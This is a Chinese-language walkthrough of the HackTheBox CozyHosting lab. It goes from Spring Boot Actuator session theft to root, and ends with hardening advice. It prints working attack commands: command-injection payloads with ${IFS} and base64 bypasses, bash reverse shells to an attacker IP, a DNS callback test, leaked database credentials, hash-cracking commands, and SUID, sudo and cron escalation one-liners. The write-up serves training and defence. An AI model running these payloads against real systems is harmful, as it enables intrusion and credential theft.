SpringBoot Actuator安全漏洞与Linux提权实战:从Web渗透到Root权限获取
1. 项目概述:从靶场到实战的渗透思维构建
最近在复盘HTB(HackTheBox)平台的CozyHosting靶机,这绝对是一个能让你把SpringBoot应用安全、SSH密钥滥用和数据库提权这些知识点串起来的绝佳案例。它不是那种一眼就能看到头的简单靶机,而是需要你像侦探一样,从信息收集开始,一步步拼凑线索,最终拿到root权限。整个过程充满了“原来如此”的顿悟时刻,尤其是SpringBoot Actuator端点配置不当导致的敏感信息泄露,以及后续利用数据库凭证进行横向移动和提权的链条,非常贴近真实的生产环境场景。如果你正在准备安全面试,或者想深化对Web应用和Linux系统渗透的理解,这个靶场的复盘价值极高。
简单来说,CozyHosting模拟了一个提供虚拟主机服务的Web应用。我们的目标很明确:从外部网络渗透进入,拿到普通用户权限(user flag),最终提升到系统最高权限(root flag)。整个流程涉及Web漏洞利用、中间件安全、数据库渗透和Linux权限提升,是一套完整的渗透测试迷你演练。接下来,我会带你从头到尾拆解一遍,不仅告诉你“怎么做”,更重点分析“为什么能这么做”,以及在实际操作中那些容易踩坑的细节。
2. 信息收集与攻击面发现
渗透测试的第一步永远是信息收集,信息收集的广度和深度直接决定了后续攻击的成败。对于CozyHosting靶机,我们需要像扫描一张未知的地图一样,找出所有可能的入口和路径。
2.1 端口扫描与服务识别
拿到靶机IP后,第一件事就是用Nmap进行端口扫描。这里不建议一上来就用-A这种激进的全扫描,可能会触发警报。更稳妥的做法是分步进行:
# 快速扫描常见端口,确认存活和基本服务 nmap -sS -T4 <靶机IP> # 针对发现的开放端口进行更详细的版本探测和服务识别 nmap -sV -sC -p 22,80,5555 <靶机IP>扫描结果通常会显示开放了22(SSH)、80(HTTP)和5555(一个未知服务)端口。80端口是Web应用的主入口,自然是我们的首要目标。在浏览器中直接访问IP地址,可能会发现它跳转到了一个域名,比如cozyhosting.htb。这说明应用可能配置了虚拟主机(Virtual Host),我们需要修改本地的hosts文件,将域名解析到靶机IP,才能正常访问网站。
注意:在HTB这类环境中,靶机域名通常是
.htb后缀。在真实测试中,子域名枚举和虚拟主机发现是重要环节,工具如gobuster的vhost模式或ffuf可以派上用场。
2.2 Web目录与敏感文件探测
访问网站后,是一个看起来挺“舒适”(Cozy)的主页。但渗透测试员不能只看表面。我们需要用目录爆破工具,如gobuster、dirsearch或ffuf,去发现隐藏的目录和文件。
# 使用 dirsearch 进行目录扫描 dirsearch -u http://cozyhosting.htb -e php,html,js,txt,json,bak # 或者使用 gobuster gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirb/common.txt一个关键的发现往往是/actuator目录。如果你对SpringBoot熟悉,会立刻警觉起来。SpringBoot Actuator提供了监控和管理应用的端点,但如果配置不当(如未授权访问、生产环境未禁用),就会成为严重的安全漏洞。
2.3 SpringBoot Actuator端点深入利用
发现/actuator后,要系统地检查其暴露的所有端点。常用的有:
/actuator/env: 显示应用环境变量,可能包含数据库密码、API密钥等。/actuator/heapdump: 下载JVM堆转储文件,可以用工具分析出内存中的敏感数据。/actuator/sessions: (如果使用Spring Session)可能列出当前会话信息。/actuator/mappings: 显示所有URL映射。/actuator/health: 健康检查信息。
在CozyHosting中,访问/actuator/env可能会发现一些敏感信息被星号*脱敏了。这时不要轻易放弃,可以尝试访问/actuator/heapdump下载堆转储文件。虽然靶场设计可能让此路不通,但在真实场景中,这是获取明文密码的“金矿”。你需要使用如Eclipse MAT或VisualVM等工具来分析heapdump文件,搜索password、secret、key等关键词。
然而,在CozyHosting里,更直接的突破口在/actuator/sessions。这个端点可能直接返回了当前有效的会话Cookie(JSESSIONID)。这意味着,你可以不用破解密码,直接“变成”一个已登录的用户。
实操心得:遇到SpringBoot应用,
/actuator目录是必查项。即使部分信息脱敏,也要尝试所有子端点。同时,关注application.properties或application.yml配置文件是否通过其他路径泄露,例如/config/application、/application.properties等。
3. 漏洞利用:从越权访问到命令注入
拿到有效的JSESSIONID后,我们可以将其替换到浏览器的Cookie中,刷新页面,很可能就直接进入了后台管理面板。这一步利用了会话固定或会话劫持的漏洞,本质是应用对会话管理不当。
3.1 后台功能分析与命令注入点定位
进入后台后,需要快速理解应用功能。CozyHosting的后台可能有一个“管理主机”或“执行SSH命令”的功能,用于管理服务器。任何允许用户输入并传递给系统命令执行的地方,都是命令注入(Command Injection)的潜在风险点。
找到疑似输入点后(比如一个输入框,提示输入主机名或IP来执行SSH连接测试),不要急于输入复杂的Payload。先进行基础测试:
- 基础分隔符测试:输入
127.0.0.1; whoami或127.0.0.1 && whoami,观察回显。 - 时间盲注测试:输入
127.0.0.1 && sleep 5,观察响应是否延迟。 - DNS外带测试:输入
127.0.0.1 && nslookup your-collaborator-domain.com,利用DNS查询验证命令执行。
在CozyHosting中,你可能会发现直接注入; whoami会被拦截或过滤。这时需要尝试绕过技巧。
3.2 命令注入绕过技巧实战
常见的命令注入绕过方法包括:
- 空格绕过:用
${IFS}、%09(制表符URL编码)、<、>、{cmd,args}代替空格。 - 黑名单关键字绕过:用通配符
/???/??t代替/bin/cat,用变量拼接a=who;b=ami;$a$b。 - 编码绕过:Base64编码、Hex编码命令,然后在执行时解码。
- 引号与反斜线:利用复杂的引号嵌套和反斜线转义来破坏原有命令结构。
在CozyHosting的案例中,一个有效的Payload可能是这样的:输入框:127.0.0.1; echo${IFS}“Y2F0IC9ldGMvcGFzc3dk” | base64 -d | bash
这个Payload做了以下几件事:
127.0.0.1;终止原有的SSH命令。echo${IFS}“Y2F0IC9ldGMvcGFzc3dk”:使用${IFS}代替空格,输出一个Base64字符串(内容是cat /etc/passwd)。| base64 -d | bash:将输出通过管道传递给base64 -d解码,再交给bash执行。
如果应用过滤了空格和某些符号,Base64编码是常用的有效绕过手段。你需要先在攻击机上编码好命令:
echo -n “cat /etc/passwd” | base64然后将输出的字符串填入Payload。
3.3 稳定反向Shell的获取
执行单条命令确认漏洞存在后,下一步就是获取一个交互式的反向Shell,以便进行更深入的操作。如果直接使用bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1这类经典Payload被过滤,可以尝试多种变体:
方法一:编码反向Shell
# 将反向shell命令base64编码 echo -n “bash -i >& /dev/tcp/10.10.14.21/9999 0>&1” | base64 # 注入Payload ; echo${IFS}“YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMS85OTk5IDA+JjE=” | base64${IFS}-d | bash;方法二:分段式反向Shell(无Netcat情况)这是一个更高级的技巧,利用文件描述符重定向:
- 首先创建一个到攻击机的TCP连接,并将其分配给文件描述符0(标准输入)。
; (sh)0>/dev/tcp/ATTACKER_IP/PORT - 然后,将当前进程的标准输出(1)和标准错误(2)都重定向到文件描述符0(即我们建立的TCP连接)。
exec >&0 2>&0 - 最后,启动一个交互式的bash。
script /dev/null -c bash
这种方法的优势在于不依赖/bin/bash的特定版本或netcat,仅使用最基本的Shell和系统调用,兼容性更强。
注意事项:在尝试反弹Shell前,务必在攻击机上用
nc -lvnp PORT启动监听。如果Shell不稳定(输入无响应、容易断开),可以尝试使用python3 -c ‘import pty; pty.spawn(“/bin/bash”)’或socat等工具进行TTY升级,以获得更完善的交互体验,支持su、sudo和vi等操作。
4. 权限提升:数据库渗透与横向移动
拿到一个初始的Shell(可能是www-data或app用户权限)后,我们进入了内网环境。下一步是信息收集,寻找提权突破口。
4.1 内部信息收集与JAR包分析
在Shell中,执行一些基础命令:
whoami id pwd ls -la find / -user $(whoami) -type f 2>/dev/null | head -20 cat /etc/passwd env sudo -l # 如果当前用户有sudo权限的话在CozyHosting中,你很可能在/app目录下发现一个Java应用的JAR包,例如cloudhosting-0.0.1.jar。这就是靶场Web应用的背后程序。我们需要将其下载到攻击机进行分析。
从靶机下载文件到攻击机:
- 攻击机开启HTTP服务:
python3 -m http.server 8000 - 靶机使用wget或curl下载:
wget http://ATTACKER_IP:8000/cloudhosting-0.0.1.jar(注意:这里方向是反的,我们需要从靶机“上传”到攻击机。更常见的做法是在攻击机用nc监听,靶机用cat或tar管道发送。或者,如果靶机有python,可以在靶机临时开一个HTTP服务,攻击机去下载。)
更简单的方式是,直接在攻击机上用反编译工具分析JAR包。使用jd-gui、cfr或fernflower(IntelliJ IDEA内置)进行反编译。
# 使用fernflower反编译(需要java环境) java -jar fernflower.jar cloudhosting-0.0.1.jar decompiled_output/反编译后,在源代码中搜索关键词,如password、jdbc、postgres、username、secret、apiKey。很快,你会在配置文件(如application.properties)或某个@Configuration类中找到数据库连接信息:
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=Vg&nvzAQ7XxR4.2 数据库连接与凭证提取
发现数据库密码后,由于PostgreSQL服务(端口5432)运行在本地,我们可以直接从获得的Shell连接它。
psql -h localhost -U postgres -d cozyhosting输入找到的密码Vg&nvzAQ7XxR,成功进入数据库。
查看有哪些表:
\dt通常会看到users和hosts表。查看users表内容:
select * from users;输出可能类似:
name | password | role -----------+--------------------------------------------------------------+------- kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin密码字段是BCrypt哈希格式。BCrypt是专为密码存储设计的慢哈希函数,抗彩虹表能力强,但并非不可破解。
4.3 密码破解与用户切换
我们可以尝试用john或hashcat来破解这些哈希。首先将哈希值保存到文件hash.txt中,注意格式。
# 对于john,需要识别哈希类型 john --format=bcrypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # 或者使用hashcat hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt在实战中,kanderson的哈希可能很难破解(可能是个强密码或假用户)。但admin的哈希,结合强大的字典(如rockyou.txt)和足够的算力,是有可能破解的。在CozyHosting靶场中,破解出的密码可能是manchesterunited。
然而,尝试用admin和这个密码去SSH登录,大概率会失败。为什么?因为admin是应用层的用户,不是系统用户。我们需要查看/etc/passwd文件,确认系统上有哪些用户。
cat /etc/passwd | grep -v “nologin” | grep -v “false”可能会发现用户有app、josh、postgres、root。那么,破解出的密码很可能是系统用户josh的密码。尝试:
su - josh # 输入密码 manchesterunited或者直接SSH登录:
ssh josh@靶机IP成功!现在你拥有了一个权限更高的普通用户Shell,并且可以在josh的家目录中找到user.txt,拿到第一个flag。
关键点分析:这里体现了“横向移动”和“凭证复用”的思想。应用数据库中的密码,可能被系统用户重复使用(弱密码策略或习惯)。从低权限的Web Shell,通过数据库凭证,过渡到更高权限的系统用户,是内网渗透中非常经典的路径。
5. 权限提升:SUID滥用与最终Root获取
拿到josh用户权限后,我们的最终目标是root。需要再次进行深入的信息收集,寻找提权向量。
5.1 自动化信息收集脚本
上传或下载像linpeas.sh、linenum.sh这样的Linux本地提权枚举脚本是非常高效的做法。
# 在攻击机开启HTTP服务 python3 -m http.server 8000 # 在靶机josh用户shell下载并执行 wget http://ATTACKER_IP:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh这些脚本会自动化检查:
- SUID/SGID文件:寻找设置了SUID位且属主是root的可执行文件。
- sudo权限:检查当前用户可以用
sudo执行哪些命令。 - Cron计划任务:查看是否有权限修改的定时任务。
- 可写系统文件或路径:如
/etc/passwd、/etc/crontab、/etc/systemd/system等。 - 环境变量:检查
PATH等是否包含可写目录。 - 已安装的软件与服务:寻找存在已知漏洞的版本。
5.2 SUID滥用提权实战
在CozyHosting靶场中,linpeas很可能高亮提示了一个不常见的、设置了SUID位且属主为root的可执行文件。SUID(Set User ID)位意味着当任何用户执行这个文件时,它将以文件所有者(这里是root)的权限运行。如果这个程序本身存在漏洞或者其功能可以被滥用,就可能实现提权。
假设发现的可执行文件是/usr/bin/some_tool。第一步是了解这个工具的功能:
ls -la /usr/bin/some_tool /usr/bin/some_tool --help查看其帮助文档,了解它能执行什么操作。然后,去著名的GTFOBins网站(https://gtfobins.github.io/)搜索这个二进制文件名。GTFOBins整理了大量如何利用合法系统工具进行提权的方法。
例如,如果some_tool具有SUID权限,并且GTFOBins显示它可以通过--exec或-c参数执行系统命令,那么提权就非常简单:
/usr/bin/some_tool ‘/bin/bash -p’这里的-p参数告诉bash保留提升的权限(SUID)。执行后,你就会获得一个root权限的bash shell。
5.3 其他提权路径的思考
如果SUID路径不通,linpeas还可能提示其他向量:
- sudo权限:如果
sudo -l显示josh用户可以以root身份无需密码运行某个命令(如/usr/bin/vi、/usr/bin/python3),那么可以直接利用该命令启动root shell。sudo vi -c ‘:!/bin/bash’ sudo python3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’ - Cron Job提权:检查
/etc/crontab和/var/spool/cron/crontabs/,看是否有以root身份运行的脚本,且该脚本当前用户有写入权限。如果有,可以修改脚本内容,插入反向Shell命令。 - 内核漏洞:如果系统内核版本较旧,可能存在公开的本地提权漏洞。可以用
uname -a查看内核版本,然后用searchsploit或Google搜索对应版本的Exploit。这是最后的手段,因为可能造成系统不稳定。
在CozyHosting中,通过SUID滥用成功提权到root后,就可以在/root目录下找到最终的root.txtflag,完成整个靶场的挑战。
6. 防御措施与安全加固建议
复盘攻击路径,是为了更好地防御。针对CozyHosting暴露出的问题,我们可以为开发者和运维人员总结出一份安全加固清单:
1. SpringBoot应用安全:
- 生产环境禁用或严格保护Actuator端点:在
application.properties中设置management.endpoints.web.exposure.include=为空或仅包含health、info等非敏感端点。务必为Actuator启用独立的、强认证的访问控制。 - 避免敏感信息硬编码:数据库密码、API密钥等应使用环境变量或配置中心(如Vault)管理,而不是写在配置文件中。
- 及时更新依赖:定期检查并更新SpringBoot及其组件版本,修复已知漏洞。
2. 输入验证与命令执行:
- 绝对避免直接拼接用户输入到系统命令:使用安全的API替代系统调用。如必须执行命令,应使用白名单严格过滤输入,或使用参数化调用(如Java的
ProcessBuilder并传递参数数组)。 - 实施最小权限原则:运行Web应用的进程(如Tomcat)应使用非root的专用低权限用户。
3. 数据库安全:
- 使用强密码并定期更换:避免使用默认密码或弱密码。
- 限制数据库网络访问:PostgreSQL应只监听本地回环地址(
127.0.0.1),而非0.0.0.0。使用防火墙规则限制访问源IP。 - 实施最小权限:应用使用的数据库账户应只有其业务所需的最小权限(SELECT, INSERT, UPDATE等),不应拥有
CREATE USER、SUPERUSER等高级权限。
4. 系统与权限管理:
- 避免密码复用:系统用户密码不应与应用数据库密码相同。
- 定期审计SUID/SGID文件:使用命令
find / -perm -4000 -type f 2>/dev/null或find / -perm -2000 -type f 2>/dev/null定期检查,移除非必要的SUID/SGID位。 - 谨慎配置sudo权限:定期审查
/etc/sudoers文件,确保用户只能以sudo运行必要的命令,并考虑启用密码认证。 - 保持系统与软件更新:及时安装安全补丁。
整个CozyHosting靶场的渗透路径清晰展示了“外部突破 -> 内部信息收集 -> 横向移动 -> 权限提升”的经典流程。它强有力地证明了,一个看似微小的配置疏忽(Actuator未授权访问),如何与不安全的编码实践(命令注入)、薄弱的口令管理(密码复用)以及不当的系统配置(SUID滥用)相结合,最终导致整个系统被完全攻陷。对于防御方而言,安全是一个整体,任何一环的缺失都可能成为突破口。对于攻击方(或渗透测试方)而言,则需要保持耐心、细致和系统性的思维,不放过任何一条线索,像拼图一样将碎片信息组合成完整的攻击链。